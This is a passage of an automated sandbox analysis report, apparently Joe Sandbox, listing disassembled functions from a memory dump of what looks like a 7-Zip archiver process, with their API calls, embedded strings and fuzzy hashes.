Opcode Fuzzy Hash: 4de089bbcb59170ecffb44d8e6b4bb1020c1b67aaf46552131cc09be39bde8ef
Instruction Fuzzy Hash: 6C518F66301A8181FF20DF65FC90BA96360F789B85F84512ADE8E43769EF3CD54AC700

Function 00C43528 Relevance: 35.5, APIs: 19, Strings: 1, Instructions: 472stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C435A7

Part of subcall function 00C02320: free.MSVCRT ref: 00C0237E
Part of subcall function 00C02320: fputs.MSVCRT ref: 00C023B8
Part of subcall function 00C02320: free.MSVCRT ref: 00C023C4

fputs.MSVCRT ref: 00C435D8
fputs.MSVCRT ref: 00C43609
fputs.MSVCRT ref: 00C436BF
fputs.MSVCRT ref: 00C4373F

Part of subcall function 00C35680: free.MSVCRT ref: 00C35737
Part of subcall function 00C35680: free.MSVCRT ref: 00C35907
Part of subcall function 00C35680: free.MSVCRT ref: 00C35911

free.MSVCRT ref: 00C4370F
fputs.MSVCRT ref: 00C437CB
fputs.MSVCRT ref: 00C4391B
strlen.MSVCRT ref: 00C43929
memset.MSVCRT ref: 00C4395E
fputs.MSVCRT ref: 00C439B1
strlen.MSVCRT ref: 00C439BF
memset.MSVCRT ref: 00C439EE
fputs.MSVCRT ref: 00C43AC1
strlen.MSVCRT ref: 00C43AE4
memset.MSVCRT ref: 00C43B1C
memmove.MSVCRT ref: 00C43B3E
memset.MSVCRT ref: 00C43B56
strlen.MSVCRT ref: 00C43B62

Strings

data:, xrefs: 00C43738

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: fputs$free$memset$strlen$memmove
String ID: data:
API String ID: 527563900-3222861102
Opcode ID: 4b6c5f9cdd3633745e31563a8c4377074848a1f4c9f847770a3d002162f2b606
Instruction ID: a660a7969c2073c553d198fb292372818766908085f29f2ad2af184821362e9b
Opcode Fuzzy Hash: 4b6c5f9cdd3633745e31563a8c4377074848a1f4c9f847770a3d002162f2b606
Instruction Fuzzy Hash: 4B025532208AC187EB20DF25E8917AE7760F7D4788F446116EF9A47768DB38CA4AC740

Function 00C3FA0C Relevance: 26.7, APIs: 12, Strings: 3, Instructions: 489COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00C3FAAC
free.MSVCRT ref: 00C3FAC0
free.MSVCRT ref: 00C3FC43

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

Part of subcall function 00C3F820: _CxxThrowException.MSVCRT ref: 00C3F88D

free.MSVCRT ref: 00C40031

Part of subcall function 00C3F8B8: memmove.MSVCRT ref: 00C3F91E
Part of subcall function 00C3F8B8: free.MSVCRT ref: 00C3F926

Part of subcall function 00C3F93C: memmove.MSVCRT ref: 00C3F992
Part of subcall function 00C3F93C: free.MSVCRT ref: 00C3F99A

free.MSVCRT ref: 00C400EA
free.MSVCRT ref: 00C400F2
free.MSVCRT ref: 00C40101
free.MSVCRT ref: 00C4010A
free.MSVCRT ref: 00C40113
free.MSVCRT ref: 00C40121
_CxxThrowException.MSVCRT ref: 00C40184

Strings

Internal file name collision (file on disk, file in archive):, xrefs: 00C4015D
Duplicate filename in archive:, xrefs: 00C40149
Duplicate filename on disk:, xrefs: 00C3FCB4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrow$memmove$mallocmemset
String ID: Duplicate filename in archive:$Duplicate filename on disk:$Internal file name collision (file on disk, file in archive):
API String ID: 3338823681-819937569
Opcode ID: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
Instruction ID: 78016205316d7ad66ba3488440d4173944e035988a1f5ab058336bf421d35043
Opcode Fuzzy Hash: 05e571fda14d9d8926fc305dd0170e713781fc1b859d5d94d2c1757528fd9615
Instruction Fuzzy Hash: D412B3B362879487C720DF16E44065EB7A1F389B90F505A29EF9A47B58CF38D992DF00

Function 00C1AF58 Relevance: 11.7, APIs: 9, Instructions: 447COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
Instruction ID: 9204bc947e515663be246bd92ba4e6bfa2142e23d4d0dd7b6a83cb96395e1dfe
Opcode Fuzzy Hash: 1eb9012123f2ce8eb073f9b3624da2f3a3289b8457f20c18abc7480cb7118cc2
Instruction Fuzzy Hash: 83026F32209B8186DB24DF25E4903EEB361F7C6B84F545126DB8E57B69DF38C984EB40

Function 00C08F18 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 142COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32 ref: 00C08F7A
DeviceIoControl.KERNEL32 ref: 00C0905E
DeviceIoControl.KERNEL32 ref: 00C090B5
DeviceIoControl.KERNEL32 ref: 00C090F6

Part of subcall function 00C0ABB0: GetModuleHandleW.KERNEL32 ref: 00C0ABD1
Part of subcall function 00C0ABB0: GetProcAddress.KERNEL32 ref: 00C0ABE1
Part of subcall function 00C0ABB0: GetDiskFreeSpaceW.KERNEL32 ref: 00C0AC32

Strings

:, xrefs: 00C08FF2
(, xrefs: 00C09051

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
String ID: ($:
API String ID: 4250411929-4277925470
Opcode ID: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction ID: 31396754c0a63aea7804975d4b345f4277783be85cf686079fcf78184e393f73
Opcode Fuzzy Hash: 5b9f9703c519a548ceef949604e44196ebe8030fab0dc2f4f3b95e46287e534a
Instruction Fuzzy Hash: E851BC33608BC196CB20DF20F05079EB775F388798F548526DB9A07B99EB78C5A9CB40

Function 00C0881C Relevance: 10.6, APIs: 7, Instructions: 102COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C0885B
free.MSVCRT ref: 00C08863
GetLogicalDriveStringsW.KERNEL32 ref: 00C08879
GetLogicalDriveStringsW.KERNEL32 ref: 00C088B2
free.MSVCRT ref: 00C08943
free.MSVCRT ref: 00C0894C
free.MSVCRT ref: 00C08959

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$DriveLogicalStrings
String ID:
API String ID: 837055893-0
Opcode ID: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
Instruction ID: 39ebe36f82cec0512f7c3197989d6f2822fd943d565381f171bddf7baf861e86
Opcode Fuzzy Hash: 3de173a54933036e0db587b8e1d0ec2bc758cc62df0222796deffbdb40624916
Instruction Fuzzy Hash: 2831C423301B4185DA30EB22E85536E6355BB85BE8F88D3359EAE473C8DF38C94AD340

Function 00C096AC Relevance: 10.6, APIs: 7, Instructions: 88COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C096D1
GetFileInformationByHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C09723
DeviceIoControl.KERNEL32 ref: 00C0976C
free.MSVCRT ref: 00C09779
free.MSVCRT ref: 00C09796
memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,FFFFFFFF,00000001,00000000), ref: 00C097C4
free.MSVCRT ref: 00C097CD

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ControlDeviceFileHandleInformationmemmove
String ID:
API String ID: 2572579059-0
Opcode ID: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
Instruction ID: cae5f8ec5bab3820f22af0d98c09e1e0ad51b11d0304a523fae26ff9ace8ee25
Opcode Fuzzy Hash: 81d8e5875d3dc795eb3d600148a840ab749245db3ba8f1a9a9afcbd51cdf2eb3
Instruction Fuzzy Hash: 81317233215B4086CA30AF16F95076EB364E386BE0F589225EBE947BD5DE39C581C700

Function 00C4DBA0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 23libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32 ref: 00C4DBB4
GetVersionExW.KERNEL32 ref: 00C4DBBF
GetModuleHandleW.KERNEL32 ref: 00C4DBDE
GetProcAddress.KERNEL32 ref: 00C4DBEE

Strings

SetDefaultDllDirectories, xrefs: 00C4DBE4
kernel32.dll, xrefs: 00C4DBD7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: Version$AddressHandleModuleProc
String ID: SetDefaultDllDirectories$kernel32.dll
API String ID: 2268189529-2102062458
Opcode ID: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction ID: e7c5136c3a9544ed967bbbc165e85118bec1dd4c70aa87a69f351a215b24b105
Opcode Fuzzy Hash: 7a4e38354ab5005c4356f78164d2e6d32f5e0198e07bcfd6bf58e12f2388e286
Instruction Fuzzy Hash: 36F0D43520560292FB34AB50F864BA923A0FB98709F450229C65E412A4EF7CC64ACB10

Function 00C0ABB0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 58libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00C0ABD1
GetProcAddress.KERNEL32 ref: 00C0ABE1
GetDiskFreeSpaceW.KERNEL32 ref: 00C0AC32

Strings

GetDiskFreeSpaceExW, xrefs: 00C0ABD7
kernel32.dll, xrefs: 00C0ABBE

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: AddressDiskFreeHandleModuleProcSpace
String ID: GetDiskFreeSpaceExW$kernel32.dll
API String ID: 1197914913-1127948838
Opcode ID: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction ID: 75dfbb13642b69d108d76d98744d8e5af08194f2c25331d677978c6ea5be348a
Opcode Fuzzy Hash: 91232d8e4c27da98ed619dc657d8975082bad2379c6f63f0bea740be7d830b66
Instruction Fuzzy Hash: B1118933216B4696EB11CF55F490B9AB364F7A4B80F445022EB9E03728EF38C559CB00

Function 00C0B114 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 188timeCOMMON

Download Yara Rule

APIs

FileTimeToLocalFileTime.KERNEL32 ref: 00C0B12A
FileTimeToSystemTime.KERNEL32 ref: 00C0B13E

Strings

gfff, xrefs: 00C0B1D7

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: Time$File$LocalSystem
String ID: gfff
API String ID: 1748579591-1553575800
Opcode ID: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction ID: 52e59e122f677e26f2fc9eb6f12dc182be6e7ac1ea4f75230af7d44f3bc86463
Opcode Fuzzy Hash: e09e1fa2f5dca829b3cb60a828e392fca3363189765d43a1e7a71e091b5d5d10
Instruction Fuzzy Hash: 9F5198A3B042C04BE719CB3DD846BDDBFC1E3A5758F08822ADB9587785E66DC50AC721

Function 00C0B5E0 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

Part of subcall function 00C0B5B8: GetCurrentProcess.KERNEL32 ref: 00C0B5C2

GetSystemInfo.KERNEL32 ref: 00C0B624

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: CurrentInfoProcessSystem
String ID:
API String ID: 1098911721-0
Opcode ID: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction ID: f0410d458b7c5187341db3ab53f34353c3cff3dd5b79730c10957cbb4bf2a900
Opcode Fuzzy Hash: 3fe78990de1b082a0b60084bcba32a5828cb8e3291c47789f548cb5e73abf302
Instruction Fuzzy Hash: C7E0926662489483CB34DB08D842A69A360F394B45FC45611F68982E84DF2ECB14CF00

Function 00C4D690 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34068706c2d5e8e26acb18a5d787bd8c28d1e0f249bc181dd9bcec1cf4fba99d
Instruction ID: 28c2724fb23dbda97642d8b7dd185ece33fef4764bb070aebcff4110c2f5ae3c
Opcode Fuzzy Hash: 34068706c2d5e8e26acb18a5d787bd8c28d1e0f249bc181dd9bcec1cf4fba99d
Instruction Fuzzy Hash: 2CE042F290A2058FD3D98F6AD4412587EE4F748795B60C13FA608D3301D37581888F92

Function 00C20C24 Relevance: 97.9, APIs: 78, Instructions: 364COMMON

Download Yara Rule

APIs

free.MSVCRT ref: 00C20CC6
free.MSVCRT ref: 00C20CD0
free.MSVCRT ref: 00C20CE6
free.MSVCRT ref: 00C20CF0

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction ID: 4b3f04db077bfa7103d020e645245ef59ca8024ee83b474dc5ed32ed569743bb
Opcode Fuzzy Hash: 9cbdc30e6d0b5ea00b42a6c34bff6f946b52da21b37e4cfe8bd3163259cd7e86
Instruction Fuzzy Hash: B9D1F332259690C1CA20FF35E49566FA720F7D2780F506153BB9E93BBACE28CD46DB44

Function 00C32A7D Relevance: 44.0, APIs: 35, Instructions: 257COMMON

Download Yara Rule

APIs

Part of subcall function 00C2E7A0: free.MSVCRT ref: 00C2E81E
Part of subcall function 00C2E7A0: free.MSVCRT ref: 00C2E828
Part of subcall function 00C2E7A0: free.MSVCRT ref: 00C2E832
Part of subcall function 00C2E7A0: free.MSVCRT ref: 00C2E83C

free.MSVCRT ref: 00C32AD7
free.MSVCRT ref: 00C32AE2
free.MSVCRT ref: 00C32AEB
free.MSVCRT ref: 00C32AF6
free.MSVCRT ref: 00C32B04
free.MSVCRT ref: 00C32B26
free.MSVCRT ref: 00C32B2F
free.MSVCRT ref: 00C32B3D
free.MSVCRT ref: 00C32B48
free.MSVCRT ref: 00C32C3E
free.MSVCRT ref: 00C32C49
free.MSVCRT ref: 00C32C52
free.MSVCRT ref: 00C32C5D
free.MSVCRT ref: 00C32C6B
free.MSVCRT ref: 00C32C8D
free.MSVCRT ref: 00C32C96
free.MSVCRT ref: 00C32CA4
free.MSVCRT ref: 00C32CAF
free.MSVCRT ref: 00C32CE3
free.MSVCRT ref: 00C32CEE
free.MSVCRT ref: 00C32CF7
free.MSVCRT ref: 00C32D08
free.MSVCRT ref: 00C32D16
free.MSVCRT ref: 00C32D3D
free.MSVCRT ref: 00C32D46
free.MSVCRT ref: 00C32D54
free.MSVCRT ref: 00C32D5F
free.MSVCRT ref: 00C32D73
free.MSVCRT ref: 00C32D85
free.MSVCRT ref: 00C32D93
free.MSVCRT ref: 00C32DBA
free.MSVCRT ref: 00C32DC3
free.MSVCRT ref: 00C32DD1
free.MSVCRT ref: 00C32DDC
free.MSVCRT ref: 00C32DEA

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction ID: 1374ba3602a848ac906916e3e0d03585f810dd0ccc3b3cb4490d8b8942474b3c
Opcode Fuzzy Hash: 28ab6cdc9f263cf9404c085a8059b8072311b560ecc5f73d0aa5210d99d2189d
Instruction Fuzzy Hash: 41915A32216B94C6CA24EF36E0A8A6E6760F7CBF85F026462DB5E53751CF38C846D744

Function 00C21DB4 Relevance: 41.7, APIs: 33, Instructions: 418COMMON

Download Yara Rule

APIs

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

Part of subcall function 00C02130: malloc.MSVCRT ref: 00C02134
Part of subcall function 00C02130: _CxxThrowException.MSVCRT ref: 00C0214F

free.MSVCRT ref: 00C21EAE
free.MSVCRT ref: 00C21EB6
free.MSVCRT ref: 00C21EC4
free.MSVCRT ref: 00C21EF2
free.MSVCRT ref: 00C21EFA
free.MSVCRT ref: 00C21F08
free.MSVCRT ref: 00C21F40
free.MSVCRT ref: 00C21F48
free.MSVCRT ref: 00C21F5B
free.MSVCRT ref: 00C21FDE
free.MSVCRT ref: 00C22010
free.MSVCRT ref: 00C22018
free.MSVCRT ref: 00C22026
free.MSVCRT ref: 00C220E2
free.MSVCRT ref: 00C22114
free.MSVCRT ref: 00C2211C
free.MSVCRT ref: 00C2212A
free.MSVCRT ref: 00C2218F
free.MSVCRT ref: 00C22197
free.MSVCRT ref: 00C221A5
free.MSVCRT ref: 00C221E1
free.MSVCRT ref: 00C221E9
free.MSVCRT ref: 00C221F7
free.MSVCRT ref: 00C22235
free.MSVCRT ref: 00C2223D
free.MSVCRT ref: 00C2224B

Part of subcall function 00C20554: free.MSVCRT ref: 00C205FD
Part of subcall function 00C20554: free.MSVCRT ref: 00C20607
Part of subcall function 00C20554: free.MSVCRT ref: 00C20612

free.MSVCRT ref: 00C222CD
free.MSVCRT ref: 00C222D5
free.MSVCRT ref: 00C222E3
free.MSVCRT ref: 00C223A0
free.MSVCRT ref: 00C223A8
free.MSVCRT ref: 00C223B6
free.MSVCRT ref: 00C223C4

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$ExceptionThrowmallocmemmove
String ID:
API String ID: 3352498445-0
Opcode ID: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
Instruction ID: b3c915bed7b97a432973fcc294cfb90a75f13877fa02b74b7d82ca517e50cca0
Opcode Fuzzy Hash: 060a242fe419d18ace11e0b1f05433c8320572bf80c973ccad8851887f661016
Instruction Fuzzy Hash: 92E1C3337046E0D6CA30EE16F4851AEA764F386BD0F490126EFAD57B69CE68CD46D740

Function 00C105A0 Relevance: 40.7, APIs: 25, Strings: 2, Instructions: 209COMMON

Download Yara Rule

APIs

memmove.MSVCRT ref: 00C10624
memmove.MSVCRT ref: 00C1070D
free.MSVCRT ref: 00C107AA
free.MSVCRT ref: 00C107B8
free.MSVCRT ref: 00C107C5
free.MSVCRT ref: 00C107D2
free.MSVCRT ref: 00C107DF
free.MSVCRT ref: 00C107EC
free.MSVCRT ref: 00C107F9
free.MSVCRT ref: 00C10806
free.MSVCRT ref: 00C10810
free.MSVCRT ref: 00C1081B
free.MSVCRT ref: 00C10843

Part of subcall function 00C0339C: free.MSVCRT ref: 00C033D7
Part of subcall function 00C0339C: memmove.MSVCRT(00000000,?,?,00000000,00C010A8), ref: 00C033F2

free.MSVCRT ref: 00C1084D

Part of subcall function 00C03274: memmove.MSVCRT ref: 00C032AC

free.MSVCRT ref: 00C10859
free.MSVCRT ref: 00C10867
free.MSVCRT ref: 00C10874
free.MSVCRT ref: 00C10881
free.MSVCRT ref: 00C1088E
free.MSVCRT ref: 00C1089B
free.MSVCRT ref: 00C108A8
free.MSVCRT ref: 00C108B5
free.MSVCRT ref: 00C108BF
free.MSVCRT ref: 00C108CA

Part of subcall function 00C03404: free.MSVCRT ref: 00C03431
Part of subcall function 00C03404: memmove.MSVCRT ref: 00C0344C

Part of subcall function 00C0FBE4: memmove.MSVCRT ref: 00C0FC3F

_CxxThrowException.MSVCRT ref: 00C10900

Strings

incorrect update switch command, xrefs: 00C108E3
pqrxyzw, xrefs: 00C10656

Memory Dump Source

Source File: 0000000E.00000002.2238817041.0000000000C01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00C00000, based on PE: true

Associated: 0000000E.00000002.2238755428.0000000000C00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238904020.0000000000C4F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238949397.0000000000C6C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000E.00000002.2238981861.0000000000C6F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_c00000_7z.jbxd

Similarity

API ID: free$memmove$ExceptionThrow
String ID: incorrect update switch command$pqrxyzw
API String ID: 3957182552-3922825594
Opcode ID: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction ID: a50d7e27585c7ce78e41638a68a1d5191bc0946b16f54417bd8f31f0b6f7624e
Opcode Fuzzy Hash: 7c7c3e7fd9314440e1a1777af8ec9796aa83228940c07231adba96d4221eb7b0
Instruction Fuzzy Hash: 8F819232215A94C2DB20EF25D8857AE7320F7C6B84F509123EB9E477A5DE78C9C6D780

Function 00C05D18 Relevance: 38.8, APIs: 21, Strings: 1, Instructions: 328COMMON

Download Yara Rule

APIs

_CxxThrowException.MSVCRT ref: 00C05D69
free.MSVCRT ref: 00C05DB7
free.MSVCRT ref: 00C05DBF
wcscmp.MSVCRT ref: 00C05E09
wcscmp.MSVCRT ref: 00C05E63
wcscmp.MSVCRT ref: 00C05E77
free.MSVCRT ref: 00C05F32
free.MSVCRT ref: 00C05F3A
memmove.MSVCRT ref: 00C05F4F
free.MSVCRT ref: 00C0603B
free.MSVCRT ref: 00C06046
free.MSVCRT ref: 00C0608D
free.MSVCRT ref: 00C06095

Part of subcall function 00C03314: memmove.MSVCRT ref: 00C03339

Part of subcall function 00C0B8F0: memmove.MSVCRT ref: 00C0B932
Part of subcall function 00C0B8F0: free.MSVCRT ref: 00C0B93A

